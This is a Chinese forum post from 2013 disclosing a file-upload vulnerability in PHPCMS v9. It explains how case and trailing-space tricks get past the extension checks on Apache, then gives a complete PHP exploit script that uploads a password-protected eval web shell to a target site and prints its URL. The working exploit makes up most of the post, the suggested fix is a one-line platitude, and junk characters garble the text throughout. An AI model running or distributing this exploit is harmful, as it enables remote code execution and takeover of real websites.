找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2210|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
& t4 I& F- _( t7 |
+ K/ c" Z: u8 T# @5 J6 p$ G简要描述:
2 h5 {/ N; Y# f2 ?, `! s6 |7 o
$ Z/ ~( p9 W  S8 o) H2 rphpcms v9 getshell (apache)
/ ]) ]% [1 d9 D% b' c+ S" H详细说明:) B1 k+ E* D2 I" ^% X% ?& Z
. w# F/ Y6 S/ L7 x
漏洞文件:phpcms\modules\attachment\attachments.php
* g  Z7 ^: \# A& p5 U0 |3 n3 }( R; R) \
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
1 K2 P3 }7 w5 Z9 ~+ e" j后缀检测:phpcms\modules\attachment\functions\global.func.php. e# m( r6 C) r) y  b9 |
9 O; o. @, W9 S" {% p3 W. F' I( I

* q# C% r9 d4 X
) B' Z& H4 K* d9 ^+ z1 f! jfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
5 O1 u2 F+ l, G# F. L
1 q; T4 C) g% Y/ M( E9 \7 X; ^$ Q关键函数:
% L4 k$ o- H" `9 o/ f( X3 \1 f+ b0 j7 p2 ?
$ h; G9 d$ p+ i; O" Z. p" p  `- I

& d# Q, m7 @. ^2 c+ r4 Z8 Pfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  . M, F6 o! }5 K  y

( @. {8 v" ]$ T, K6 I% z9 S  Fileext函数是对文件后缀名的提取。, w( a+ e9 ]$ w4 q5 C3 }% L7 i& x( Q
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php( K# R% J) u: Q  b% g' j' s) a" [- s) E
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。; L& r: v. {5 z' g: y
我们回到public function crop_upload() 函数中5 m4 ^# q0 a4 K! z3 L$ d& J$ q
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
8 K% ^' {+ Q0 m, k在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数. R. C& ~& Q% z( }2 X7 y& p
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
/ Y3 Y/ d9 j7 `# [3 M6 Z: o经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
, N# @1 @% i# I5 U3 p' j$ G/ l最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
# o1 z! m) h; X6 z- u4 P看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
* x$ P: u& m0 @% O漏洞证明:6 e' b/ b5 `0 j' V! C4 o
- T, M) L$ q8 d
exp:
: l5 ]% M* N( a7 {9 ^- B. r
% e( ?8 u# B3 n+ ^; Q0 D8 q, E<?php( h. c4 j4 c9 d+ b! `* G8 B
error_reporting(E_ERROR);: n% G8 P# ~% {0 {8 v
set_time_limit(0);
% O0 n- Y; J% Z$pass="ln";
4 t9 D/ W+ g9 U% Hprint_r('
! X, A, r% a; o, S6 k# s+---------------------------------------------------------------------------+' V2 O0 P; F( ]3 W) F0 j2 d
PHPCms V9 GETSHELL 0DAY " [2 J* v- k1 f2 z
code by L.N.* f' H9 L: Y. u2 A

+ k4 c- d# [/ Z) N0 Papache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net6 S$ z+ O. R# a9 u  I
+---------------------------------------------------------------------------+' ]; R: \4 i! ^1 ?$ W
');" L5 L  [5 j- e  @
if ($argc < 2) {# X! p/ L3 O. w8 Q
print_r('
& H' H. Y2 y$ D, F6 A+---------------------------------------------------------------------------+5 g0 I  r3 p/ l0 J9 k
Usage: php '.$argv[0].' url path9 }; w6 b8 K% l6 a2 ?  m

( J( H$ d" X8 ^, N" r# p  `/ ~& \Example:! G, Z8 `6 z% t+ z
1.php '.$argv[0].' lanu.sinaapp.com
( l" c' u$ ]( C8 V* S2.php '.$argv[0].' lanu.sinaapp.com /phpcms
9 k* \$ r. p" k6 [+ U+---------------------------------------------------------------------------+$ J0 s, c: p& t2 _: ^4 t' b: Z
');
) Y: ]9 ]3 ?. @' m* [exit;7 t) i; G. p; n- W5 j# m4 ^/ x
}
; H! v9 S) Z/ p' ]1 E
  c3 H2 [( J- k: h. ]+ E$url = $argv[1];8 h. ^8 G9 M3 T3 J& V
$path = $argv[2];5 T, S# P8 y6 ?( Q
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
1 z" |; g% U' Q3 g+ _" Q, C3 ?$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';( r/ @; b* Y4 f+ `
if($ret=Create_dir($url,$path))
  w- t. {6 p0 M) x& I{4 t2 h+ m, D$ A9 s) l
//echo $ret;
" W* M, J& o: y$pattern = "|Server:[^,]+?|U";
& f4 r! M2 U/ O1 H0 ~% o" S+ q( {preg_match_all($pattern, $ret, $matches);; x  a8 ^2 R3 j$ B  H7 _7 J
if($matches[0][0])! `5 z0 f% c3 N" G% h7 Z' J8 g
{
9 ~  T7 d* F" D# aif(strpos($matches[0][0],'Apache') == false)- l% ^. r4 j# }! h3 S
{" R; Y! ?* v+ Q3 L# W" L
echo "\n亲!此网站不是apache的网站。\n";exit;
. U5 g) E6 O- x+ L5 p( g}
" W! P# D  }- x4 v}1 h. b1 B; b, r: j) e6 Y
$ret = GetShell($url,$phpshell,$path,$file);" W5 b, A2 W3 J
$pattern = "|http:\/\/[^,]+?\.,?|U";( A' F# e8 I  N
preg_match_all($pattern, $ret, $matches);- r; N& i/ t- \" d. s- n. s0 ?1 W# @) o
if($matches[0][0])
* c# e$ Q  n7 z2 ?% `{
( ^4 C% J0 {& U( W  Q2 J, decho "\n".'密码为: '.$pass."\n";
& X3 q% j& I& H! Techo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;9 Y- M0 m9 T8 A9 R
}' P1 ~- G8 K" B% i
else6 {8 Y5 N5 _' c1 e0 I0 d
{
0 l3 m% `& ~: B# A: `& B$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
  z; l0 c  X/ M* J/ J9 z* e5 ]preg_match_all($pattern, $ret, $matches);. ^0 n; t& L/ M- S/ M+ v- x  x
if($matches[0][0])
" x' d7 S6 b# i. t# |1 E! A{
4 ]# m9 f' L% ?; X# z. Cecho "\n".'密码为: '.$pass."\n";, Q9 U# `! S; V. l: T9 b
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, }! x: T& ?( z}
0 d# V( H, z% ?8 @% i3 }3 V" y, Jelse
) W: w) o9 b7 x. O: H; }* F. X{
' ~- s% `& E8 H5 Yecho "\r\n没得到!\n";exit;4 \- `2 G: ]% b/ ~1 B
}
3 X8 z. v5 Q, V; U7 J% @. g+ u}
: M" K4 G: k& v0 T. J/ @( u}
: V/ ?! M/ Z- e) I) u/ M& `
1 i: w4 M& S; l5 i6 Dfunction GetShell($url,$shell,$path,$js)
+ w7 p0 ?  P. |{
$ l" T$ U; _# y6 F: w$content =$shell;
7 X  n  {( E2 G( z) [7 u8 R4 }' x$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
+ v! B6 ^: e6 z$data .= "Host: ".$url."\r\n";
; ~' T$ P+ ^' r6 `$ t7 o$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
7 A4 T+ Z1 y7 Q4 W$ s$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";0 P/ |! w7 u* F& |7 C0 i
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
; D+ G* W2 |* S/ T, v$data .= "Connection: close\r\n";+ T# `2 f% w6 i8 ~6 X
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" Q/ G; y: @4 \- h& u5 h
$data .= $content."\r\n";
) [+ {& [. Z% `9 V4 Q% I$ock=fsockopen($url,80);
0 A; C) X4 r- ]if (!$ock), l3 x  F! l& Y5 |+ e# }+ F
{
4 l6 U, c$ ]# w1 iecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
# x; j. f  h  p. t$ v0 t. e9 i}, v5 C7 T0 [* z& M( N) g# g* c' ?
else) t3 G+ R# n! ^$ O1 K  v* K5 g
{
1 c& U: [5 f+ w; I5 Tfwrite($ock,$data);
& F5 y- h% \& G% P4 A0 G2 l9 z) E$resp = '';
7 g+ D' v7 y7 D; mwhile (!feof($ock))
8 S& r. o! w( l{
$ i6 l/ |5 X; v  B2 Q$resp.=fread($ock, 1024);
* b, t& r! o+ U/ V}
1 V3 a/ C7 p# M! L& w3 hreturn $resp;; V% v8 E1 [8 y, }1 G+ D  h
}8 e2 t- p0 y5 _) k. ^! v/ c
}
- b/ G; q4 z1 b4 }4 {4 J6 ~2 i( U3 V
function Create_dir($url,$path='')
- I3 i: M8 v) `/ p" g2 I{/ M5 [' x$ D1 q
$content ='I love you';5 C9 P1 |/ s/ e7 B( q
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";/ C4 }! n3 X- p8 S
$data .= "Host: ".$url."\r\n";. t5 Y* h* k5 ^* t6 S9 z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 k* f) \' g2 c( ~0 D: f" z( O" N+ ]$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";9 H. i0 b! {7 L4 L9 e4 m
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
" U. r# ]4 h) Y, j6 h4 e$data .= "Connection: close\r\n";
. C9 Z+ s# C6 r" I1 c+ I9 F$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 ?: E( D8 L- r. X; v" m6 E$data .= $content."\r\n";
) j1 i8 q7 ?% W. u! z, Y$ock=fsockopen($url,80);
$ w" ~9 u9 b  y+ Zif (!$ock)
1 K  g$ A$ ^0 T3 q{
6 M8 R" C7 X6 R: A( j3 J$ ~echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;  e: e) D* T5 V( A
}
% n# ]6 r. t% ?: R1 f" }! T5 }4 Vfwrite($ock,$data);
1 o; }" N; G+ b: B2 z& R$resp = '';# @1 e# Z6 d- ]' U( ]# p
while (!feof($ock))4 U! R7 {2 s& ?: n- W5 g8 c
{
+ Q- s7 @3 i/ B$resp.=fread($ock, 1024);( `  x0 M" u% @; k. i  l
}
6 D: S1 j  u/ D0 D7 freturn $resp;
0 g6 z; _+ m# E8 J}9 u. T# T& u/ a9 P, n
?> : \1 m! ?8 e$ z9 m' z  ?0 C

* k3 B. ^7 i) w+ F/ U! |7 Q/ ?3 E$ a% w修复方案:& ]. S7 `5 T+ o- q( ~* s8 J+ `/ V; x

* M, n5 k0 T; X  F! i- b过滤过滤再过滤
5 [' W5 Q) K) j1 |9 t% X
3 _: Z! z9 I) l' o9 S( z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表